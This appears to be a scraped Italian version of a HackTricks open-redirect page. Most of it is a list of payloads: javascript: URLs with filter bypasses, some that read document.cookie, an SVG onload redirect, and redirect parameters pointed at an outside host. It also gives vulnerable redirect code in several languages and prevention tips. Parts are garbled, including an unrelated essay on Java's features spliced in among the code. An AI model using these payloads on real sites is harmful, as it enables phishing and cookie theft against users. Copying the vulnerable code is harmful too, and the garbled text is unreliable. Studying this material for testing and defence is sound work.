Open Redirect

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Open redirect

Redirect a localhost o domini arbitrari

pageURL Format Bypass

Open Redirect a XSS

#Basic payload, javascript code is executed after "javascript:"
javascript:alert(1)

#Bypass "javascript" word filter with CRLF
java%0d%0ascript%0d%0a:alert(0)

#Javascript with "://" (Notice that in JS "//" is a line coment, so new line is created before the payload). URL double encoding is needed
#This bypasses FILTER_VALIDATE_URL os PHP
javascript://%250Aalert(1)

#Variation of "javascript://" bypass when a query is also needed (using comments or ternary operator)
javascript://%250Aalert(1)//?1
javascript://%250A1?alert(1):0

#Others
%09Jav%09ascript:alert(document.domain)
javascript://%250Alert(document.location=document.cookie)
/%09/javascript:alert(1);
/%09/javascript:alert(1)
//%5cjavascript:alert(1);
//%5cjavascript:alert(1)
/%5cjavascript:alert(1);
/%5cjavascript:alert(1)
javascript://%0aalert(1)
<>javascript:alert(1);
//javascript:alert(1);
//javascript:alert(1)
/javascript:alert(1);
/javascript:alert(1)
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
javascript:alert(1);
javascript:alert(1)
javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie)
javascript:confirm(1)
javascript://https://whitelisted.com/?z=%0Aalert(1)
javascript:prompt(1)
jaVAscript://whitelisted.com//%0d%0aalert(1);//
javascript://whitelisted.com?%a0alert%281%29
/x:1/:///%01javascript:alert(document.cookie)/
";alert(0);//

Open Redirect caricando file svg

Un attacco di Open Redirect può essere eseguito sfruttando la possibilità di caricare file SVG (Scalable Vector Graphics) su un'applicazione web. Questo tipo di attacco sfrutta una vulnerabilità che consente a un attaccante di reindirizzare un utente verso un sito web malevolo.

Descrizione

L'attacco di Open Redirect si verifica quando un'applicazione web permette agli utenti di caricare file SVG senza una corretta validazione o sanificazione. Un attaccante può sfruttare questa vulnerabilità caricando un file SVG contenente un URL di reindirizzamento malevolo.

Esecuzione dell'attacco

Per eseguire l'attacco, l'attaccante carica un file SVG contenente un URL di reindirizzamento malevolo. L'applicazione web, senza una corretta validazione, accetta il file SVG e lo rende disponibile per il download o l'accesso. Quando un utente clicca sul link per scaricare o visualizzare il file SVG, viene reindirizzato all'URL malevolo specificato nel file SVG.

Prevenzione

Per prevenire gli attacchi di Open Redirect durante il caricamento di file SVG, è necessario implementare una corretta validazione e sanificazione dei file caricati. È importante verificare che l'URL di reindirizzamento specificato nel file SVG sia sicuro e consentire solo l'accesso a URL affidabili.

Inoltre, è consigliabile limitare l'accesso ai file SVG caricati solo agli utenti autorizzati e monitorare attentamente l'attività degli utenti per rilevare eventuali comportamenti sospetti.

Esempio di codice vulnerabile

<form action="/upload" method="post" enctype="multipart/form-data">
  <input type="file" name="file">
  <input type="submit" value="Upload">
</form>

Nell'esempio di codice sopra, l'applicazione web permette agli utenti di caricare file SVG senza una corretta validazione. Questo rende possibile l'esecuzione di un attacco di Open Redirect caricando un file SVG contenente un URL di reindirizzamento malevolo.

<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg
onload="window.location='http://www.example.com'"
xmlns="http://www.w3.org/2000/svg">
</svg>
</code>

Parametri di iniezione comuni

When testing for open redirect vulnerabilities, it is important to understand the common injection parameters that can be exploited. These parameters are often found in the URL or in the request body. Here are some examples:

  • url: This parameter is used to specify the target URL. Attackers can manipulate this parameter to redirect users to a malicious website.

  • redirect: This parameter is used to specify the redirect URL. Attackers can modify this parameter to redirect users to a different website.

  • next: This parameter is commonly used in login and authentication flows to redirect users after successful authentication. Attackers can abuse this parameter to redirect users to a malicious website.

  • return: This parameter is often used in logout flows to redirect users after they have logged out. Attackers can exploit this parameter to redirect users to a malicious website.

  • callback: This parameter is commonly used in OAuth and OpenID flows to specify the callback URL. Attackers can manipulate this parameter to redirect users to a malicious website.

By understanding these common injection parameters, you can effectively test for open redirect vulnerabilities and protect your web applications from potential attacks.

/{payload}
?next={payload}
?url={payload}
?target={payload}
?rurl={payload}
?dest={payload}
?destination={payload}
?redir={payload}
?redirect_uri={payload}
?redirect_url={payload}
?redirect={payload}
/redirect/{payload}
/cgi-bin/redirect.cgi?{payload}
/out/{payload}
/out?{payload}
?view={payload}
/login?to={payload}
?image_url={payload}
?go={payload}
?return={payload}
?returnTo={payload}
?return_to={payload}
?checkout_url={payload}
?continue={payload}
?return_path={payload}
success=https://c1h2e1.github.io
data=https://c1h2e1.github.io
qurl=https://c1h2e1.github.io
login=https://c1h2e1.github.io
logout=https://c1h2e1.github.io
ext=https://c1h2e1.github.io
clickurl=https://c1h2e1.github.io
goto=https://c1h2e1.github.io
rit_url=https://c1h2e1.github.io
forward_url=https://c1h2e1.github.io
@https://c1h2e1.github.io
forward=https://c1h2e1.github.io
pic=https://c1h2e1.github.io
callback_url=https://c1h2e1.github.io
jump=https://c1h2e1.github.io
jump_url=https://c1h2e1.github.io
click?u=https://c1h2e1.github.io
originUrl=https://c1h2e1.github.io
origin=https://c1h2e1.github.io
Url=https://c1h2e1.github.io
desturl=https://c1h2e1.github.io
u=https://c1h2e1.github.io
page=https://c1h2e1.github.io
u1=https://c1h2e1.github.io
action=https://c1h2e1.github.io
action_url=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
sp_url=https://c1h2e1.github.io
service=https://c1h2e1.github.io
recurl=https://c1h2e1.github.io
j?url=https://c1h2e1.github.io
url=//https://c1h2e1.github.io
uri=https://c1h2e1.github.io
u=https://c1h2e1.github.io
allinurl:https://c1h2e1.github.io
q=https://c1h2e1.github.io
link=https://c1h2e1.github.io
src=https://c1h2e1.github.io
tc?src=https://c1h2e1.github.io
linkAddress=https://c1h2e1.github.io
location=https://c1h2e1.github.io
burl=https://c1h2e1.github.io
request=https://c1h2e1.github.io
backurl=https://c1h2e1.github.io
RedirectUrl=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
ReturnUrl=https://c1h2e1.github.io
using System;
using System.Web;

namespace OpenRedirect
{
    public partial class Redirect : System.Web.UI.Page
    {
        protected void Page_Load(object sender, EventArgs e)
        {
            string redirectUrl = Request.QueryString["url"];
            if (!string.IsNullOrEmpty(redirectUrl))
            {
                Response.Redirect(redirectUrl);
            }
        }
    }
}

Java

import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class RedirectServlet extends HttpServlet {
    protected void doGet(HttpServletRequest request, HttpServletResponse response)
            throws ServletException, IOException {
        String redirectUrl = request.getParameter("url");
        if (redirectUrl != null && !redirectUrl.isEmpty()) {
            response.sendRedirect(redirectUrl);
        }
    }
}

PHP

<?php
if (isset($_GET['url'])) {
    $redirectUrl = $_GET['url'];
    header("Location: $redirectUrl");
    exit();
}
?>

Python

from flask import Flask, redirect, request

app = Flask(__name__)

@app.route('/redirect')
def redirect_url():
    redirect_url = request.args.get('url')
    if redirect_url:
        return redirect(redirect_url)
    else:
        return 'No redirect URL provided.'

if __name__ == '__main__':
    app.run()

Ruby

require 'sinatra'

get '/redirect' do
    redirect_url = params[:url]
    if redirect_url
        redirect redirect_url
    else
        'No redirect URL provided.'
    end
end
response.redirect("~/mysafe-subdomain/login.aspx")

Java

Java è un linguaggio di programmazione ad alto livello, orientato agli oggetti e multi-piattaforma. È ampiamente utilizzato per lo sviluppo di applicazioni web, desktop e mobili. Java è noto per la sua portabilità, sicurezza e robustezza.

Caratteristiche di Java

  • Orientato agli oggetti: Java supporta la programmazione orientata agli oggetti, consentendo agli sviluppatori di creare classi e oggetti per organizzare il codice in modo modulare e riutilizzabile.

  • Portabilità: Le applicazioni Java possono essere eseguite su diverse piattaforme senza dover essere riscritte. Ciò è possibile grazie alla Java Virtual Machine (JVM), che interpreta il codice Java in un formato comprensibile per il sistema operativo sottostante.

  • Sicurezza: Java è progettato per essere sicuro, con funzionalità come la gestione della memoria automatica e la sandbox di sicurezza che limita l'accesso alle risorse del sistema.

  • Robustezza: Java è noto per la sua robustezza, con un sistema di gestione delle eccezioni che consente di gestire gli errori in modo elegante e prevenire il crash dell'applicazione.

  • Ampia libreria standard: Java offre una vasta libreria standard che fornisce funzionalità predefinite per la gestione di input/output, networking, sicurezza, GUI e altro ancora.

Utilizzo di Java

Java viene utilizzato in una varietà di settori e applicazioni, tra cui:

  • Sviluppo di applicazioni web: Java è ampiamente utilizzato per lo sviluppo di applicazioni web, grazie a framework come Spring e JavaServer Faces (JSF).

  • Sviluppo di applicazioni desktop: Java offre la possibilità di creare applicazioni desktop cross-platform utilizzando librerie come Swing e JavaFX.

  • Sviluppo di applicazioni mobili: Java è utilizzato per lo sviluppo di applicazioni Android, grazie all'Android SDK che include il supporto per il linguaggio Java.

  • Sviluppo di applicazioni enterprise: Java è spesso utilizzato per lo sviluppo di applicazioni enterprise, grazie alla sua scalabilità e alle funzionalità di gestione delle transazioni.

  • Sviluppo di giochi: Java viene utilizzato per lo sviluppo di giochi, grazie a librerie come LibGDX e LWJGL.

Conclusioni

Java è un linguaggio di programmazione versatile e potente, ampiamente utilizzato per lo sviluppo di una vasta gamma di applicazioni. La sua portabilità, sicurezza e robustezza lo rendono una scelta popolare tra gli sviluppatori.

response.redirect("http://mysafedomain.com");

PHP

Open Redirect

Un open redirect è una vulnerabilità comune nelle applicazioni web che consente ad un attaccante di reindirizzare un utente verso un sito web esterno, potenzialmente dannoso. Questa vulnerabilità si verifica quando un'applicazione accetta un parametro di reindirizzamento dall'utente e lo utilizza senza alcun controllo o validazione.

Esempio di Open Redirect

<?php
    $url = $_GET['url'];
    header("Location: " . $url);
?>

In questo esempio, l'applicazione accetta un parametro url dall'utente tramite la query string e lo utilizza direttamente come URL di reindirizzamento senza alcuna verifica. Un attaccante potrebbe sfruttare questa vulnerabilità fornendo un URL malevolo che reindirizza l'utente verso un sito web dannoso.

Sfruttare un Open Redirect

Per sfruttare un open redirect, un attaccante può fornire un URL malevolo che sembra affidabile, ma in realtà reindirizza l'utente verso un sito web dannoso. Ad esempio:

https://www.example.com/redirect.php?url=https://www.malicious-website.com

In questo caso, l'utente verrebbe reindirizzato verso https://www.malicious-website.com, che potrebbe essere un sito web di phishing o contenere malware.

Prevenzione

Per prevenire gli open redirect, è importante validare e controllare attentamente i parametri di reindirizzamento forniti dagli utenti. È consigliabile utilizzare una lista bianca di URL consentiti o applicare una logica di reindirizzamento specifica per evitare reindirizzamenti non autorizzati verso siti web esterni. Inoltre, è consigliabile utilizzare metodi di codifica appropriati per evitare attacchi di tipo XSS (Cross-Site Scripting) che potrebbero consentire ad un attaccante di iniettare codice malevolo negli URL di reindirizzamento.

<?php
/* browser redirections*/
header("Location: http://mysafedomain.com");
exit;
?>

Strumenti

Risorse

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated